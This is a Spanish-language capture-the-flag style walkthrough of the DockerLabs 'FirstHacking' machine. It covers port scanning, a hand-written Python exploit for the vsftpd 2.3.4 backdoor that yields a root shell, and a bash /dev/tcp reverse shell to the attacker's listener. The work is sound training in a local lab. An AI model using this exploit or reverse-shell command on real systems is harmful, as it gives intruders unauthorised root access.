25 de noviembre de 2025
DockerLabs: Máquina FirstHacking
Resolución de la máquina FirstHacking de DockerLabs, explotando la vulnerabilidad de Backdoor Command Execution en vsftpd 2.3.4 para obtener acceso root directo y establecer una shell estable.
Ejecución de Maquina
Descomprimimos el archivo y ejecutamos la maquina en una estructuración de carpeta a nuestro gusto:
mkdir FirstHacking && cd FirstHacking
mv ~/Descargas/firsthacking.zip .
7z x firsthacking.zip
---------------------------------------------------------------------
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=es_CO.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 110060777 bytes (105 MiB)
Extracting archive: firsthacking.zip
--
Path = firsthacking.zip
Type = zip
Physical Size = 110060777
Everything is Ok
Files: 2
Size: 273444608
Compressed: 110060777
Ejecución
sudo bash auto_deploy.sh firsthacking.tar
----------------------------------------------------------------------
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Con esto podemos empezar a ver todo lo que tiene que ver con respecto a las vulnerabilidades de esta maquina… ¡Vamos a ello!
Reconocimiento de Puertos
Generamos las dos carpetas necesarias para poder guardar la información importante del escaneo
mkdir walkthrough
mkdir walkthrough/nmap
cd walkthrough/nmap
Aplicamos el truco del ttl, si el resultado es 64 sabemos que es una maquina Linux, si es 128 es una maquina Windows
ping -c 4 172.17.0.2
---------------------------------------------------------------------
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.370 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.054 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from 172.17.0.2: icmp_seq=4 ttl=64 time=0.077 ms
--- 172.17.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3066ms
rtt min/avg/max/mdev = 0.054/0.141/0.370/0.132 ms
Con esto sabemos que nos referimos a una maquina Linux, por lo cual ya utilizamos nmap para ver unos últimos detalles
nmap -sVC -sS -p- -Pn 172.17.0.2 -oN resultado.txt
-----------------------------------------------------------------------------------------------
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-05 22:43 -05
Nmap scan report for 172.17.0.2
Host is up (0.000012s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.43 seconds
Aquí nos encontramos con una maquina diferente con respecto a las anteriores, en este caso nos encontramos únicamente con el puerto 21 abierto, un ftp en una versión muy antigua, en este caso podríamos explotar esta versión con metasploit y facilitar la tarea, sin embargo vamos a desglosar esto un poco más.
Explotación con Escalada de Privilegio
Como dijimos anteriormente podríamos utilizar metasploit para facilitar el trabajo de explotación, esto podemos hacerlo utilizando searchsploit, siendo que nos arroja dos resultados curiosos:
searchsploit "vsftpd 2.3.4"
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Como podemos ver existen dos versiones de ejecución, un código de Python hecho por un usuario y un código de ruby del programa de metasploit, aunque es cierto que podríamos analizar el código de python y ver de que todo funcione correctamente, lo ideal sería intentar hacerlo nosotros de forma manual. Para ello en un archivo llamado reverse-shell.py escribiremos el siguiente codigo:
# Esto es un codigo personal de ejecución para romper
# La versión de Ftp vsftpd 2.3.4
import socket
import sys
def ejecutar_backdoor(host, port = 21):
# Enviamos el payload de USER con :) para activar el backdoor
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print("[+] Conectandose al servicio FTP")
# Recibir banner inicial
banner = s.recv(1024).decode()
print("[+] Banner:", banner.strip())
# Mandar usuario malicioso
s.sendall(b"USER backdoor:)\r\n")
resp = s.recv(1024).decode()
print("[+] Respuesta del USER:", resp.strip())
# Mandar cualquier contraseña
s.sendall(b"PASS loquesea\r\n")
print("[+] Payload enviado, cerrando la conexión FTP")
s.close()
def conectar_shell(host, port=6200):
# Conectamos al puerto 6200 que expone un shell interactivo
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print("[+] Conectando a la shell en puerto 6200\n")
try:
while True:
cmd = input("bash$ ")
if cmd.strip().lower() in ["exit", "quit"]:
break
s.sendall(cmd.encode() + b" 2>&1\n")
data = s.recv(4096).decode(errors="ignore")
print(data.strip())
except KeyboardInterrupt:
print("\n[!] Saliendo...")
finally:
s.close()
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Uso: {sys.argv[0]} <host>")
sys.exit(1)
target = sys.argv[1]
ejecutar_backdoor(target)
conectar_shell(target)
Con esto a la hora de ejecutarlo podemos establecer la conexión con la maquina victima, lo hacemos sabiendo que esta versión de ftp permite la conexión al puerto 6200 de forma malintencionada con el uso de :) al final del ingreso de cualquier usuario que nosotros ingresemos. De esta manera finalmente podríamos establecer la conexión con la maquina:
python script_propio_backdoor.py 172.17.0.2
------------------------------------------------------------
[+] Conectandose al servicio FTP
[+] Banner: 220 (vsFTPd 2.3.4)
[+] Respuesta del USER: 331 Please specify the password.
[+] Payload enviado, cerrando la conexión FTP
[+] Conectando a la shell en puerto 6200
bash$ whoami
root
Ahora, pese a que podríamos seguir utilizando esta shell, se trata de una versión muy arcaica, por lo cual en mi caso probare con una reverse shell manual utilizando netcat, para poder probarla de la mejor manera posible:
nc -nlvp 4444
listening on [any] 4444 ...
# Maquina con conexión establecida
bash$ script /dev/null -c bash
Script started, file is /dev/null
bash$ bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
root@d4c0e768514e:~/vsftpd-2.3.4#
Resultado
nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 39412
root@d4c0e768514e:~/vsftpd-2.3.4#
Ahora simplemente estabilizamos de mejor manera la terminal para que no nos de ningun inconveniente al listar o modificar archivos internos en caso de una practica un poco más realista. Por lo cual con Ctrl + z suspendemos el proceso para finalmente estabilizarla
root@d4c0e768514e:~/vsftpd-2.3.4# script /dev/null -c bash
root@d4c0e768514e:~/vsftpd-2.3.4 # ^Z
zsh: suspended nc -nlvp 4444
stty raw -echo; fg
[1] + continued nc -nlvp 4444
reset XTERM
root@d4c0e768514e:~/vsftpd-2.3.4# export TERM=xterm
root@d4c0e768514e:~/vsftpd-2.3.4# export SHELL=bash
Y con esto hemos finalizado la maquina, aunque es verdad de que nos encontramos con los permisos de administrador una vez nos conectamos es raro que en la realidad sea de esta manera, sin embargo, incluso así hemos realizado un ataque bastante interesante para una maquina muy facil de DockerLabs.